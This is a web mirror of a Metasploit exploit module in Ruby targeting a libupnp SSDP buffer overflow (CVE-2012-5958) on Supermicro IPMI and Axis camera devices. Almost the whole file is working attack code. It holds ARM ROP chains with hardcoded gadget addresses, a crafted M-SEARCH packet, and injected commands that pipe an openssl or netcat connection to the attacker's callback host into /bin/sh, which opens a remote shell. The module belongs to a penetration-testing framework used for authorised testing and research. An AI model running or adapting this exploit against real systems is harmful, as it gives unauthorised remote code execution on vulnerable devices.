Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
14
'Description' => %q{
15
This module exploits a buffer overflow in the unique_service_name()
16
function of libupnp's SSDP processor. The libupnp library is used across
17
thousands of devices and is referred to as the Intel SDK for UPnP
18
Devices or the Portable SDK for UPnP Devices.
19
20
Due to size limitations on many devices, this exploit uses a separate TCP
21
listener to stage the real payload.
22
},
23
'Author' => [
24
'hdm', # Exploit dev for Supermicro IPMI
25
'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
26
'Richard Harman <richard[at]richardharman.com>', # Binaries, system info, testing for Supermicro IPMI
27
'Frederic Basse <contact[at]fredericb.info>' # Exploit dev for Axis Camera M1011
28
],
29
'License' => MSF_LICENSE,
30
'References' => [
31
[ 'CVE', '2012-5958' ],
32
[ 'OSVDB', '89611' ],
33
[ 'US-CERT-VU', '922681' ],
34
[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
35
],
36
'Platform' => ['unix'],
37
'Arch' => ARCH_CMD,
38
'Privileged' => true,
39
'DefaultOptions' => { 'WfsDelay' => 10 },
40
'Payload' => {
41
#
42
# # The following BadChars do not apply since we stage the payload
43
# # through a secondary connection. This is just for reference.
44
#
45
# 'BadChars' =>
46
# # Bytes 0-8 are not allowed
47
# [*(0..8)].pack("C*") +
48
# # 0x09, 0x0a, 0x0d are allowed
49
# "\x0b\x0c\x0e\x0f" +
50
# # All remaining bytes up to space are restricted
51
# [*(0x10..0x1f)].pack("C*") +
52
# # Also not allowed
53
# "\x7f\x3a" +
54
# # Breaks our string quoting
55
# "\x22",
56
57
# Unlimited since we stage this over a secondary connection
58
'Space' => 8000,
59
'DisableNops' => true,
60
'Compat' =>
61
{
62
'PayloadType' => 'cmd',
63
# specific payloads vary widely by device (openssl for IPMI, etc)
64
}
65
},
66
'Targets' => [
67
68
[ "Automatic", {} ],
69
70
#
71
# ROP targets are difficult to represent in the hash, use callbacks instead
72
#
73
[
74
"Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {
75
76
# The callback handles all target-specific settings
77
:callback => :target_supermicro_ipmi_131,
78
79
# This matches any line of the SSDP M-SEARCH response
80
:fingerprint =>
81
/Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3,? UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi
82
#
83
# SSDP response:
84
# Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
85
# http://192.168.xx.xx:49152/IPMIdevicedesc.xml
86
# uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice
87
88
# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)
89
90
}
91
],
92
[
93
"Axis Camera M1011 5.20.1 UPnP/1.4.1", {
94
95
# The callback handles all target-specific settings
96
:callback => :target_axis_m1011_141,
97
98
# This fingerprint may not be specific enough to be used automatically.
99
# :fingerprint =>
100
# /SERVER:\s*Linux\/2\.6\.31, UPnP\/1\.0, Portable SDK for UPnP devices\/1\.4\.1/mi
101
#
102
# SSDP response:
103
# Linux/2.6.31, UPnP/1.0, Portable SDK for UPnP devices/1.4.1
104
# http://192.168.xx.xx:49152/rootdesc1.xml
105
# uuuid:Upnp-BasicDevice-1_0-00123456789A::upnp:rootdevice
106
107
}
108
],
109
110
[
111
"Debug Target", {
112
113
# The callback handles all target-specific settings
114
:callback => :target_debug
115
116
}
117
]
118
119
],
120
'DefaultTarget' => 0,
121
'DisclosureDate' => '2013-01-29',
122
'Notes' => {
123
'Reliability' => UNKNOWN_RELIABILITY,
124
'Stability' => UNKNOWN_STABILITY,
125
'SideEffects' => UNKNOWN_SIDE_EFFECTS
126
}
127
)
128
)
129
130
register_options(
131
[
132
Opt::RHOST(),
133
Opt::RPORT(1900),
134
OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
135
OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
136
]
137
)
138
end
139
140
def exploit
141
configure_socket
142
143
target_info = choose_target
144
145
unless self.respond_to?(target_info[:callback])
146
print_error("Invalid target specified: no callback function defined")
147
return
148
end
149
150
buffer = self.send(target_info[:callback])
151
pkt =
152
"M-SEARCH * HTTP/1.1\r\n" +
153
"Host:239.255.255.250:1900\r\n" +
154
"ST:uuid:schemas:device:" + buffer + ":end\r\n" +
155
"Man:\"ssdp:discover\"\r\n" +
156
"MX:3\r\n\r\n"
157
158
print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
159
160
udp_sock.sendto(pkt, rhost, rport, 0)
161
162
1.upto(5) do
163
::IO.select(nil, nil, nil, 1)
164
break if session_created?
165
end
166
167
# No handler() support right now
168
end
169
170
# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
171
def target_supermicro_ipmi_131
172
# Create a fixed-size buffer for the payload
173
buffer = Rex::Text.rand_text_alpha(2000)
174
175
# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
176
buffer[0, 1] = '"'
177
buffer[1999, 1] = '"'
178
179
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
180
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
181
182
# Start a listener
183
start_listener(true)
184
185
# Figure out the port we picked
186
cbport = self.service.getsockname[2]
187
188
# Restart the service and use openssl to stage the real payload
189
# Staged because only ~150 bytes of contiguous data are available before mangling
190
cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
191
buffer[432, cmd.length] = cmd
192
193
# Adjust $r3 to point from the bottom of the stack back into our buffer
194
buffer[304, 4] = [0x4009daf8].pack("V")
195
# 0x4009daf8: add r3, r3, r4, lsl #2
196
# 0x4009dafc: ldr r0, [r3, #512] ; 0x200
197
# 0x4009db00: pop {r4, r10, pc}
198
199
# The offset (right-shifted by 2 ) to our command string above
200
buffer[284, 4] = [0xfffffe78].pack("V")
201
202
# Copy $r3 into $r0
203
buffer[316, 4] = [0x400db0ac].pack("V")
204
# 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1
205
# 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4)
206
207
# Move our stack pointer down so as not to corrupt our payload
208
buffer[320, 4] = [0x400a5568].pack("V")
209
# 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198
210
# 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc}
211
212
# Finally return to system() with $r0 pointing to our string
213
buffer[141, 4] = [0x400add8c].pack("V")
214
215
return buffer
216
=begin
217
00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev
218
00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev
219
00032000-00055000 rwxp 00000000 00:00 0 [heap]
220
40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so
221
40015000-40017000 rwxp 00000000 00:00 0
222
4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so
223
4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so
224
4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so
225
4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so
226
40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so
227
40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so
228
40036000-40078000 rwxp 00000000 00:00 0
229
40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so
230
40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so
231
40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so
232
40185000-40187000 rwxp 00000000 00:00 0
233
bd600000-bd601000 ---p 00000000 00:00 0
234
bd601000-bd800000 rwxp 00000000 00:00 0
235
bd800000-bd801000 ---p 00000000 00:00 0
236
bd801000-bda00000 rwxp 00000000 00:00 0
237
bdc00000-bdc01000 ---p 00000000 00:00 0
238
bdc01000-bde00000 rwxp 00000000 00:00 0
239
be000000-be001000 ---p 00000000 00:00 0
240
be001000-be200000 rwxp 00000000 00:00 0
241
be941000-be956000 rwxp 00000000 00:00 0 [stack]
242
=end
243
end
244
245
# These devices are armv5tejl, run version 1.4.1 of libupnp, have random stacks, but no PIE on libc
246
def target_axis_m1011_141
247
# Create a fixed-size buffer for the payload
248
buffer = Rex::Text.rand_text_alpha(2000)
249
250
# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
251
buffer[0, 1] = '"'
252
buffer[1999, 1] = '"'
253
254
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
255
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
256
257
# Start a listener
258
start_listener()
259
260
# Figure out the port we picked
261
cbport = self.service.getsockname[2]
262
263
# Initiate a callback connection
264
cmd = "sleep 1; /usr/bin/nc #{cbhost} #{cbport}|/bin/sh;exit;#"
265
buffer[1, cmd.length] = cmd
266
267
# Mask to avoid forbidden bytes, popped into $r4
268
buffer[284, 4] = [0x0D0D0D0D].pack("V")
269
270
# Move $r4 to $r0
271
buffer[304, 4] = [0x40093848].pack("V")
272
# MEMORY:40093848 MOV R0, R4
273
# MEMORY:4009384C LDMFD SP!, {R4,PC}
274
275
# Masked system() address (0x32FB9D83 + 0x0D0D0D0D = 0x4008AA90), popped into $r4
276
buffer[308, 4] = [0x32FB9D83].pack("V")
277
278
# Set $r0 to system() address : $r0 = $r4 + $r0
279
buffer[312, 4] = [0x40093844].pack("V")
280
# MEMORY:40093844 ADD R4, R4, R0
281
# MEMORY:40093848 MOV R0, R4
282
# MEMORY:4009384C LDMFD SP!, {R4,PC}
283
284
# Move $r0 to $r3 : system() address
285
buffer[320, 4] = [0x400D65BC].pack("V")
286
# MEMORY:400D65BC MOV R3, R0
287
# MEMORY:400D65C0 MOV R0, R3
288
# MEMORY:400D65C4 ADD SP, SP, #0x10
289
# MEMORY:400D65C8 LDMFD SP!, {R4,PC}
290
291
# Move $r2 to $r0 : offset to buffer[-1]
292
buffer[344, 4] = [0x400ADCDC].pack("V")
293
# MEMORY:400ADCDC MOV R0, R2
294
# MEMORY:400ADCE0 ADD SP, SP, #8
295
# MEMORY:400ADCE4 LDMFD SP!, {R4-R8,PC}
296
297
# Negative offset to command str($r0 + 0xFFFFFEB2 = buffer[1]), popped into R4
298
buffer[356, 4] = [0xFFFFFEB2].pack("V")
299
300
# Set $r0 to command str offset : $r0 = $r4 + $r0
301
buffer[376, 4] = [0x40093844].pack("V")
302
# MEMORY:40093844 ADD R4, R4, R0
303
# MEMORY:40093848 MOV R0, R4
304
# MEMORY:4009384C LDMFD SP!, {R4,PC}
305
306
# Jump to system() function
307
buffer[384, 4] = [0x4009FEA4].pack("V")
308
# MEMORY:4009FEA4 MOV PC, R3
309
310
return buffer
311
=begin
312
00008000-0002b000 r-xp 00000000 1f:03 62 /bin/libupnp
313
00032000-00033000 rwxp 00022000 1f:03 62 /bin/libupnp
314
00033000-00055000 rwxp 00000000 00:00 0 [heap]
315
40000000-4001d000 r-xp 00000000 1f:03 235 /lib/ld-2.9.so
316
4001d000-4001f000 rwxp 00000000 00:00 0
317
40024000-40025000 r-xp 0001c000 1f:03 235 /lib/ld-2.9.so
318
40025000-40026000 rwxp 0001d000 1f:03 235 /lib/ld-2.9.so
319
40026000-4002e000 r-xp 00000000 1f:03 262 /lib/libparhand.so
320
4002e000-40035000 ---p 00008000 1f:03 262 /lib/libparhand.so
321
40035000-40036000 rwxp 00007000 1f:03 262 /lib/libparhand.so
322
40036000-4004a000 r-xp 00000000 1f:03 263 /lib/libpthread-2.9.so
323
4004a000-40051000 ---p 00014000 1f:03 263 /lib/libpthread-2.9.so
324
40051000-40052000 r-xp 00013000 1f:03 263 /lib/libpthread-2.9.so
325
40052000-40053000 rwxp 00014000 1f:03 263 /lib/libpthread-2.9.so
326
40053000-40055000 rwxp 00000000 00:00 0
327
40055000-4016c000 r-xp 00000000 1f:03 239 /lib/libc-2.9.so
328
4016c000-40173000 ---p 00117000 1f:03 239 /lib/libc-2.9.so
329
40173000-40175000 r-xp 00116000 1f:03 239 /lib/libc-2.9.so
330
40175000-40176000 rwxp 00118000 1f:03 239 /lib/libc-2.9.so
331
40176000-40179000 rwxp 00000000 00:00 0
332
40179000-4017a000 ---p 00000000 00:00 0
333
4017a000-40979000 rwxp 00000000 00:00 0
334
40979000-4097a000 ---p 00000000 00:00 0
335
4097a000-41179000 rwxp 00000000 00:00 0
336
41179000-4117a000 ---p 00000000 00:00 0
337
4117a000-41979000 rwxp 00000000 00:00 0
338
41979000-4197a000 ---p 00000000 00:00 0
339
4197a000-42179000 rwxp 00000000 00:00 0
340
42179000-4217a000 ---p 00000000 00:00 0
341
4217a000-42979000 rwxp 00000000 00:00 0
342
42979000-4297a000 ---p 00000000 00:00 0
343
4297a000-43179000 rwxp 00000000 00:00 0
344
bef4d000-bef62000 rw-p 00000000 00:00 0 [stack]
345
=end
346
end
347
348
# Generate a buffer that provides a starting point for exploit development
349
def target_debug
350
Rex::Text.pattern_create(2000)
351
end
352
353
def stage_real_payload(cli)
354
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
355
cli.put(payload.encoded + "\n")
356
end
357
358
def start_listener(ssl = false)
359
comm = datastore['ListenerComm']
360
if comm == "local"
361
comm = ::Rex::Socket::Comm::Local
362
else
363
comm = nil
364
end
365
366
self.service = Rex::Socket::TcpServer.create(
367
'LocalPort' => datastore['CBPORT'],
368
'SSL' => ssl,
369
'SSLCert' => datastore['SSLCert'],
370
'Comm' => comm,
371
'Context' =>
372
{
373
'Msf' => framework,
374
'MsfExploit' => self,
375
}
376
)
377
378
self.service.on_client_connect_proc = Proc.new { |client|
379
stage_real_payload(client)
380
}
381
382
# Start the listening service
383
self.service.start
384
end
385
386
#
387
# Shut down any running services
388
#
389
def cleanup
390
super
391
if self.service
392
print_status("Shutting down payload stager listener...")
393
begin
394
self.service.deref if self.service.kind_of?(Rex::Service)
395
if self.service.kind_of?(Rex::Socket)
396
self.service.close
397
self.service.stop
398
end
399
self.service = nil
400
rescue ::Exception
401
end
402
end
403
end
404
405
def choose_target
406
# If the user specified a target, use that one
407
return self.target unless self.target.name =~ /Automatic/
408
409
msearch =
410
"M-SEARCH * HTTP/1.1\r\n" +
411
"Host:239.255.255.250:1900\r\n" +
412
"ST:upnp:rootdevice\r\n" +
413
"Man:\"ssdp:discover\"\r\n" +
414
"MX:3\r\n\r\n"
415
416
# Fingerprint the service through SSDP
417
udp_sock.sendto(msearch, rhost, rport, 0)
418
419
res = nil
420
1.upto(5) do
421
res, _, _ = udp_sock.recvfrom(65535, 1.0)
422
break if res and res =~ /^(Server|Location)/mi
423
424
udp_sock.sendto(msearch, rhost, rport, 0)
425
end
426
427
self.targets.each do |t|
428
return t if t[:fingerprint] and res =~ t[:fingerprint]
429
end
430
431
if res and res.to_s.length > 0
432
print_status("No target matches this fingerprint")
433
print_status("")
434
res.to_s.split("\n").each do |line|
435
print_status(" #{line.strip}")
436
end
437
print_status("")
438
else
439
print_status("The system #{rhost} did not reply to our M-SEARCH probe")
440
end
441
442
fail_with(Failure::NoTarget, "No compatible target detected")
443
end
444
445
# Accessor for our TCP payload stager
446
attr_accessor :service
447
448
# We need an unconnected socket because SSDP replies often come
449
# from a different sent port than the one we sent to. This also
450
# breaks the standard UDP mixin.
451
def configure_socket
452
self.udp_sock = Rex::Socket::Udp.create({
453
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
454
})
455
add_socket(self.udp_sock)
456
end
457
458
#
459
# Required since we aren't using the normal mixins
460
#
461
462
def rhost
463
datastore['RHOST']
464
end
465
466
def rport
467
datastore['RPORT']
468
end
469
470
# Accessor for our UDP socket
471
attr_accessor :udp_sock
472
473
end
474
475